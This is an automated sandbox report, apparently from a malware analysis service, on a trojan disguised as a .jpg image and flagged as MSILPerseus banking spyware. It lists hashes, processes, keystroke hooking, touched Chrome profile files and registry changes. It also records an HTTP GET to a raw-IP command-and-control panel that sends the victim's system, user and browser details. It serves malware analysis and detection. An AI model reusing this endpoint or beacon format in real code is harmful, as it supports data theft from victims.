Exes_6f98b4a935d885219ef0d5e7a15d998d_jpg_2019-07-10_07_30.txt

* MalFamily: "Msilperseus"

* MalScore: 10.0

* File Name: "Exes_6f98b4a935d885219ef0d5e7a15d998d.jpg"
* File Size: 2961920
* File Type: "PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows"
* SHA256: "497e19c344260eec3dab15d9adeb8ed034a456531981dc08750d5f5e419103c1"
* MD5: "6f98b4a935d885219ef0d5e7a15d998d"
* SHA1: "41db63689350a2cfdfd93d8fff02b47ef43e460f"
* SHA512: "2935a2e23efe709d5ceb73f8586e11d0adfc809a98a7996330280024f6ad50ae2b1528b50ea31e6a81d875f4c320033469ad0a91a416cc61fb0fa220d30257a0"
* CRC32: "1A44BBA1"
* SSDEEP: "49152:u53wBOHQ0j5dZVlABGNR4mwpwNPocZV4HnIBemOnv8UfuX:wgBOHQkvXaPmdUIBnOnk4i"

* Process Execution:
    "Exes_6f98b4a935d885219ef0d5e7a15d998d.jpg",
    "vbc.exe",
    "cvtres.exe",
    "vbc.exe",
    "cvtres.exe",
    "svchost.exe",
    "WmiPrvSE.exe",
    "svchost.exe"


* Executed Commands:
    "\"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\vbc.exe\" /noconfig @\"C:\\Users\\user\\AppData\\Local\\Temp\\raevqacy.cmdline\"",
    "\"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\vbc.exe\" /noconfig @\"C:\\Users\\user\\AppData\\Local\\Temp\\9tsihyb9.cmdline\"",
    "C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\user\\AppData\\Local\\Temp\\RES5844.tmp\" \"C:\\Users\\user\\AppData\\Local\\Temp\\vbc5843.tmp\"",
    "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding",
    "C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\user\\AppData\\Local\\Temp\\RES90D9.tmp\" \"C:\\Users\\user\\AppData\\Local\\Temp\\vbc90C8.tmp\""


* Signatures Detected:

        "Description": "Creates RWX memory",
        "Details":


        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
        "Details":

                "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"


                "ip_hostname": "HTTP connection was made to an IP address rather than domain name"


                "suspicious_request": "http://34.238.151.233/AZL2/PostaSatanas.php?plug=NAO&GBS=&SYS=Microsoft%20Windows%207%20Enterprise%20N%20&USERPC=user%20-%20Host&AVS=&NAV=chrome&ORI=1.3"




        "Description": "Performs some HTTP requests",
        "Details":

                "url": "http://34.238.151.233/AZL2/PostaSatanas.php?plug=NAO&GBS=&SYS=Microsoft%20Windows%207%20Enterprise%20N%20&USERPC=user%20-%20Host&AVS=&NAV=chrome&ORI=1.3"




        "Description": "The binary likely contains encrypted or compressed data.",
        "Details":

                "section": "name: .text, entropy: 7.72, characteristics: IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ, raw_size: 0x0029e400, virtual_size: 0x0029e364"


                "section": "name: .rsrc, entropy: 6.98, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ, raw_size: 0x00034a00, virtual_size: 0x000349a5"




        "Description": "Sniffs keystrokes",
        "Details":

                "SetWindowsHookExW": "Process: Exes_6f98b4a935d885219ef0d5e7a15d998d.jpg(1612)"




        "Description": "Retrieves Windows ProductID, probably to fingerprint the sandbox",
        "Details":


        "Description": "File has been identified by 18 Antiviruses on VirusTotal as malicious",
        "Details":

                "MicroWorld-eScan": "Gen:Variant.MSILPerseus.151695"


                "McAfee": "Artemis!6F98B4A935D8"


                "Arcabit": "Trojan.MSILPerseus.D2508F"


                "Avast": "Win32:Malware-gen"


                "BitDefender": "Gen:Variant.MSILPerseus.151695"


                "Ad-Aware": "Gen:Variant.MSILPerseus.151695"


                "Emsisoft": "Gen:Variant.MSILPerseus.151695 (B)"


                "DrWeb": "Trojan.DownLoader29.34782"


                "McAfee-GW-Edition": "Artemis"


                "FireEye": "Gen:Variant.MSILPerseus.151695"


                "SentinelOne": "DFI - Suspicious PE"


                "MAX": "malware (ai score=82)"


                "Microsoft": "Trojan:Win32/Fuery.B!cl"


                "GData": "Gen:Variant.MSILPerseus.151695"


                "AhnLab-V3": "Malware/Win32.Generic.C1188165"


                "ALYac": "Gen:Variant.MSILPerseus.151695"


                "ESET-NOD32": "a variant of MSIL/Spy.Banker.ES"


                "AVG": "Win32:Malware-gen"




        "Description": "Collects information to fingerprint the system",
        "Details":



* Started Service:

* Mutexes:
    "Global\\CLR_CASOFF_MUTEX",
    "Global\\.net clr networking"


* Modified Files:
    "C:\\Users\\user\\AppData\\Local\\GDIPFONTCACHEV1.DAT",
    "C:\\Users\\user\\AppData\\Local\\Temp\\raevqacy.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\raevqacy.0.vb",
    "C:\\Users\\user\\AppData\\Local\\Temp\\raevqacy.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\raevqacy.cmdline",
    "C:\\Users\\user\\AppData\\Local\\Temp\\raevqacy.out",
    "C:\\Users\\user\\AppData\\Local\\Temp\\raevqacy.err",
    "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences",
    "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Local State",
    "C:\\Users\\user\\AppData\\Local\\Temp\\9tsihyb9.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\9tsihyb9.0.vb",
    "C:\\Users\\user\\AppData\\Local\\Temp\\9tsihyb9.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\9tsihyb9.cmdline",
    "C:\\Users\\user\\AppData\\Local\\Temp\\9tsihyb9.out",
    "C:\\Users\\user\\AppData\\Local\\Temp\\9tsihyb9.err",
    "C:\\Users\\user\\AppData\\Local\\Temp\\vbc5843.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\RES5844.tmp",
    "\\??\\PIPE\\samr",
    "C:\\Windows\\sysnative\\wbem\\repository\\WRITABLE.TST",
    "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING1.MAP",
    "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING2.MAP",
    "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING3.MAP",
    "C:\\Windows\\sysnative\\wbem\\repository\\OBJECTS.DATA",
    "C:\\Windows\\sysnative\\wbem\\repository\\INDEX.BTR",
    "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER",
    "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
    "\\??\\PIPE\\wkssvc",
    "\\??\\PIPE\\srvsvc",
    "C:\\Users\\user\\AppData\\Local\\Temp\\vbc90C8.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\RES90D9.tmp"


* Deleted Files:
    "C:\\Users\\user\\AppData\\Local\\Temp\\raevqacy.cmdline",
    "C:\\Users\\user\\AppData\\Local\\Temp\\raevqacy.0.vb",
    "C:\\Users\\user\\AppData\\Local\\Temp\\raevqacy.out",
    "C:\\Users\\user\\AppData\\Local\\Temp\\raevqacy.pdb",
    "C:\\Users\\user\\AppData\\Local\\Temp\\raevqacy.err",
    "C:\\Users\\user\\AppData\\Local\\Temp\\raevqacy.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\raevqacy.dll",
    "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences",
    "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Local State",
    "C:\\Users\\user\\AppData\\Local\\Temp\\9tsihyb9.out",
    "C:\\Users\\user\\AppData\\Local\\Temp\\9tsihyb9.pdb",
    "C:\\Users\\user\\AppData\\Local\\Temp\\9tsihyb9.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\9tsihyb9.err",
    "C:\\Users\\user\\AppData\\Local\\Temp\\9tsihyb9.0.vb",
    "C:\\Users\\user\\AppData\\Local\\Temp\\9tsihyb9.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\9tsihyb9.cmdline",
    "C:\\Users\\user\\AppData\\Local\\Temp\\RES5844.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\vbc5843.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\RES90D9.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\vbc90C8.tmp"


* Modified Registry Keys:
    "HKEY_CURRENT_USER\\DWM",
    "HKEY_CURRENT_USER\\DWM\\COUNT",
    "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Tracing\\Exes_6f98b4a935d885219ef0d5e7a15d998d_RASAPI32",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\Exes_6f98b4a935d885219ef0d5e7a15d998d_RASAPI32\\EnableFileTracing",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\Exes_6f98b4a935d885219ef0d5e7a15d998d_RASAPI32\\EnableConsoleTracing",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\Exes_6f98b4a935d885219ef0d5e7a15d998d_RASAPI32\\FileTracingMask",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\Exes_6f98b4a935d885219ef0d5e7a15d998d_RASAPI32\\ConsoleTracingMask",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\Exes_6f98b4a935d885219ef0d5e7a15d998d_RASAPI32\\MaxFileSize",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\Exes_6f98b4a935d885219ef0d5e7a15d998d_RASAPI32\\FileDirectory",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStart",
    "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Wbem\\Transports\\Decoupled\\Server",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\CreationTime",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\MarshaledProxy",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\ProcessIdentifier",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ConfigValueEssNeedsLoading",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\List of event-active namespaces",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\ESS\\//./root/CIMV2\\SCM Event Provider"


* Deleted Registry Keys:

* DNS Communications:

* Domains:

* Network Communication - ICMP:

* Network Communication - HTTP:

        "count": 1,
        "body": "",
        "uri": "http://34.238.151.233/AZL2/PostaSatanas.php?plug=NAO&GBS=&SYS=Microsoft%20Windows%207%20Enterprise%20N%20&USERPC=user%20-%20Host&AVS=&NAV=chrome&ORI=1.3",
        "user-agent": "",
        "method": "GET",
        "host": "34.238.151.233",
        "version": "1.1",
        "path": "/AZL2/PostaSatanas.php?plug=NAO&GBS=&SYS=Microsoft%20Windows%207%20Enterprise%20N%20&USERPC=user%20-%20Host&AVS=&NAV=chrome&ORI=1.3",
        "data": "GET /AZL2/PostaSatanas.php?plug=NAO&GBS=&SYS=Microsoft%20Windows%207%20Enterprise%20N%20&USERPC=user%20-%20Host&AVS=&NAV=chrome&ORI=1.3 HTTP/1.1\r\nHost: 34.238.151.233\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80



* Network Communication - SMTP:

* Network Communication - Hosts:

* Network Communication - IRC: